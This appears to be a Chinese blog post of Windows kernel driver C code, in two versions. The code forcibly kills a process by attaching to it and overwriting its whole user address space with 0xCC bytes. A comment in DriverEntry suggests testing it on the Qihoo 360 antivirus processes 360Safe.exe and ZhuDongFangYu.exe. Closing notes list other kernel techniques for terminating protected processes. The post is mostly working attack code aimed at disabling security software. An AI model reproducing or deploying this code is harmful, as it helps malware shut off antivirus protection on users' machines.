#include "ntddk.h"
typedef struct _KAPC_STATE {
LIST_ENTRY ApcListHead[MaximumMode];
struct _KPROCESS *Process;
BOOLEAN KernelApcInProgress;
BOOLEAN KernelApcPending;
BOOLEAN UserApcPending;
} KAPC_STATE, *PKAPC_STATE, *PRKAPC_STATE;
VOID KeStackAttachProcess(__inout PRKPROCESS Process,__out PRKAPC_STATE ApcState);
VOID KeUnstackDetachProcess(__in PRKAPC_STATE ApcState);
NTSTATUS PsLookupProcessByProcessId(__in HANDLE ProcessId,__out PEPROCESS *Process);
NTSTATUS KillProcessByPID(HANDLE hProcess)
{//通过进程ID号,来结束进程
PEPROCESS m_process;
NTSTATUS status = STATUS_SUCCESS;
KAPC_STATE m_kapc_state;
ULONG m_index=0;
PVOID m_base_address=NULL;
//分配一块只读类型的,大小为0x1000的内存块出来//返回值为分配内存的指针
m_base_address=ExAllocatePoolWithTag(NonPagedPool,0x1000,'Read');
if(m_base_address==NULL) return STATUS_UNSUCCESSFUL;//如果分配内存失败
memset(m_base_address,0xcc,0x1000); //初始化相关内存,未初始化的变量会被系统赋初值为0xCC
status=PsLookupProcessByProcessId(hProcess,&m_process); //得到指定进程ID的进程环境块
if(!NT_SUCCESS(status)) return status;//返回失败
KeStackAttachProcess (m_process,&m_kapc_state); //附加当前线程到目标进程空间内
for(m_index=0;m_index<0x80000000;m_index+=0x1000)//循环遍历
{
if(MmIsAddressValid((PVOID)(m_index)))//如果指定内存大小空间能读能写的话
{
__try
{ //复制m_base_address内存空间内容到m_index大小的空间
RtlCopyMemory((PVOID)(m_index),m_base_address,0x1000);
}
__except(1)
{continue;}
}
else
{
if(m_index>0x1000000) break;
}
}
KeUnstackDetachProcess(&m_kapc_state);//解除附加
return status;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
KillProcessByPID(999); //拿360Safe.exe或者ZhuDongFangYu.exe的PID试试看。
return 0;
}
//修改整理与网络。
//made at 2012.03.29
//感谢我的老婆:杜岷娟,有她才有了我的今天。
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//改进版的如下:
//made at 2013.08.02
NTSTATUS KillProcessByPID(IN HANDLE hProcess)
/*
通过进程ID号,来结束进程。
估计这个办法结束不了系统进程(system),因为他没有用户空间。
*/
{
PEPROCESS m_process;
NTSTATUS status = STATUS_SUCCESS;
KAPC_STATE m_kapc_state;
PVOID m_base_address=NULL;
int size = 0x1000;
#ifdef _X86_
unsigned int m_index = 0;
//unsigned int m_base_address = 0;
#endif
#if defined(_AMD64_) || defined(_IA64_)
unsigned __int64 m_index = 0;
//unsigned __int64 m_base_address = 0;
#endif
m_base_address=ExAllocatePoolWithTag(NonPagedPool,size,TAG);//分配一块只读类型的,大小为0x1000的内存块出来
if(m_base_address==NULL) {
return STATUS_UNSUCCESSFUL;
}
memset(m_base_address,0xcc,size);//初始化相关内存,未初始化的变量会被系统赋初值为0xCC
status=PsLookupProcessByProcessId(hProcess,&m_process);//得到指定进程ID的进程环境块
if(!NT_SUCCESS(status)) {
ExFreePoolWithTag(m_base_address, TAG);
return status;
}
KeStackAttachProcess (m_process,&m_kapc_state); //附加当前线程到目标进程空间内
for(m_index = 0; m_index < MmSystemRangeStart; m_index += size)//系统的基地址是一个全局变量。0x80000000
{
if(MmIsAddressValid((PVOID)(m_index)))//如果指定内存大小空间能读能写的话
{
__try
{
RtlCopyMemory((PVOID)(m_index),m_base_address,size);//复制m_base_address内存空间内容到m_index大小的空间
} __except(EXCEPTION_EXECUTE_HANDLER) {
continue;
}
} else {
if(m_index > MmSystemRangeStart) {//0x1000000
break;
}
}
}
ExFreePoolWithTag(m_base_address, TAG);
KeUnstackDetachProcess(&m_kapc_state);//解除附加
return status;
}
/*
说明这个在64位系统很费时间,所以放弃.
改进的思路为:枚举所有的模块,包括主模块,然后ZwUnmapViewOfSection.
别的办法还有:
KeInsertQueueApc结束进程
利用PspTerminateThreadByPointer结束进程
可以考虑把这些代码补上.
*/
没有评论:
发表评论